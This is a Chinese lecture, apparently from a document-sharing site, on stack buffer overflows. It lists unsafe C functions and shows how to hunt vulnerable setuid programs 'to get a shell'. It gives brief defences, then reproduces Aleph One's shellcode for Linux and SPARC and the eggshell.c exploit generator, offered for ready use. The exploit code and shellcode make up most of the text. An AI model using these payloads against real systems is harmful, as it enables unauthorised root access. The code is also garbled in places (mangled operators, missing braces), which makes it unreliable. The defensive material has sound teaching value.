堆栈溢出系列讲座6

  • 格式:doc
  • 大小:32.00 KB
  • 文档页数:6

堆栈溢出系列讲座防范堆栈溢出1:寻找漏洞我们已经看到堆栈溢出的危害,那么什么程序会有堆栈溢出的隐患呢?首先是strcpy,很多问题都出在他身上。

其他的,还有:1:很多与字符串操作相关的函数都是有问题的。

它们是:strcat(), strcpy(),sprintf(), and vsprintf()。

2:带有可变参数的函数,比如:所有printf的变种,(除了printf)fprintf()...因为这些函数都使用了vsprintf(buf, fmt, ap);来将格式化的字符串和参数结合,输出到buffer中去,所以都有堆栈溢出的危险。

3:内部调用了strcpy的函数gets(),getc(), fgetc(), or getchar()...4:scanf()以及所有scanf的变种。

vcscanf(),sscanf(),fscanf()...因为scanf可以接受参数%s,来进行串复制,而不考虑串的边界。

有以上函数的程序,都是危险的。

另外,所有链接了Xt lib的程序,都是有问题的程序。

在linux里面,你可以查找所有的原代码,grep上述这些函数。

如果没有原代码,你可以使用strings命令察看目标程序里面的字符串,看看有没有:"input什么的","%s"什么的,还可以使用()命令来察看程序使用了哪些库函数。

一旦发现有隐患的程序,你就可以使用前面讲过的各种方法来试验。

相信很快就可以发现一个漏洞并且得到shell。

2:防范措施:当然最好的方法就是把堆栈段设置成不可执行。

本来堆栈段就是放数据的吗!我们的shellcode由于是在堆栈里面,所以将会彻底没戏。

但是,这需要操作系统的支持才可以。

solaris现在已经可以实现这个功能.Linux目前我不清楚。

另外,不要随便编写setuid的程序。

而且在写setuid的程序的时候,千万要小心,不要出现上面说的哪些问题函数,或者,附加边界检查。

你的机器上的setuid程序的个数和名字,你应该定期检查。

对于很少用的setuid程序,干脆就去掉setuid位得了。

最后,新的漏洞是层出不穷的,精华区里面有很多安全网址。

你(网管)应该每天去这些地方拜会。

希望你紧跟时代,勤打补丁。

3:附录:下面这些宝贝是从Aleph One的经典名著“Smashing The Stack For Fun And Profit”的附录考过来的。

主要是为了方便大家使用,省得找了。

Appendix A - Shellcode for Different OperatingSystems/Architectures~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~i386/Linux------------------------------------------------------------------------jmp 0x1fpopl %esimovl %esi,0x8(%esi)xorl %eax,%eaxmovb %eax,0x7(%esi)movl %eax,0xc(%esi)movb $0xb,%almovl %esi,%ebxleal 0x8(%esi),%ecxleal 0xc(%esi),%edxint $0x80xorl %ebx,%ebxmovl %ebx,%eaxinc %eaxint $0x80call -0x24.string \"/bin/sh\"------------------------------------------------------------------------SPARC/Solaris------------------------------------------------------------------------sethi 0xbd89a, %l6or %l6, 0x16e, %l6sethi 0xbdcda, %l7and %sp, %sp, %o0add %sp, 8, %o1xor %o2, %o2, %o2add %sp, 16, %spstd %l6, [%sp - 16]st %sp, [%sp - 8]st %g0, [%sp - 4]mov 0x3b, %g1ta 8xor %o7, %o7, %o0mov 1, %g1ta 8------------------------------------------------------------------------SPARC/SunOS------------------------------------------------------------------------sethi 0xbd89a, %l6or %l6, 0x16e, %l6sethi 0xbdcda, %l7and %sp, %sp, %o0add %sp, 8, %o1xor %o2, %o2, %o2add %sp, 16, %spstd %l6, [%sp - 16]st %sp, [%sp - 8]st %g0, [%sp - 4]mov 0x3b, %g1mov -0x1, %l5ta %l5 + 1xor %o7, %o7, %o0mov 1, %g1ta %l5 + 1------------------------------------------------------------------------Appendix B - Generic Buffer Overflow Program~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~shellcode.h------------------------------------------------------------------------#if defined(__i386__) ;; defined(__linux__)#define NOP_SIZE 1char nop[] = "\x90";char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");}#elif defined(__sparc__) ;; defined(__sun__) ;; defined(__svr4__)#define NOP_SIZE 4char nop[]="\xac\x15\xa1\x6e";char shellcode[] ="\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e""\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0""\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08""\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";unsigned long get_sp(void) {__asm__("or %sp, %sp, %i0");}#elif defined(__sparc__) ;; defined(__sun__)#define NOP_SIZE 4char nop[]="\xac\x15\xa1\x6e";char shellcode[] ="\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e""\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0""\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff""\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";unsigned long get_sp(void) {__asm__("or %sp, %sp, %i0");}#endif------------------------------------------------------------------------eggshell.c------------------------------------------------------------------------/** eggshell v1.0** Aleph One / <A HREF="mailto:aleph1@">aleph1@</A>#include <stdlib.h>#include <stdio.h>#include "shellcode.h"#define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define DEFAULT_EGG_SIZE 2048void usage(void);void main(int argc, char *argv[]) {char *ptr, *bof, *egg;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)switch (c) {case 'a':align = atoi(optarg);break;case 'b':bsize = atoi(optarg);break;case 'e':eggsize = atoi(optarg);break;case 'o':offset = atoi(optarg);break;case '?':usage();exit(0);}if (strlen(shellcode) > eggsize) {printf("Shellcode is larger the the egg.\n");exit(0);}if (!(bof = malloc(bsize))) {printf("Can't allocate memory.\n");exit(0);if (!(egg = malloc(eggsize))) {printf("Can't allocate memory.\n");exit(0);}addr = get_sp() - offset;printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align);printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);addr_ptr = (long *) bof;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;ptr = egg;for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) {m = (n + align) % NOP_SIZE;*(ptr++) = nop[m];}for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];bof[bsize - 1] = '\0';egg[eggsize - 1] = '\0';memcpy(egg,"EGG=",4);putenv(egg);memcpy(bof,"BOF=",4);putenv(bof);system("/bin/sh");}void usage(void) {(void)fprintf(stderr,"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>][-o <offset>]\n");}------------------------------------------------------------------------。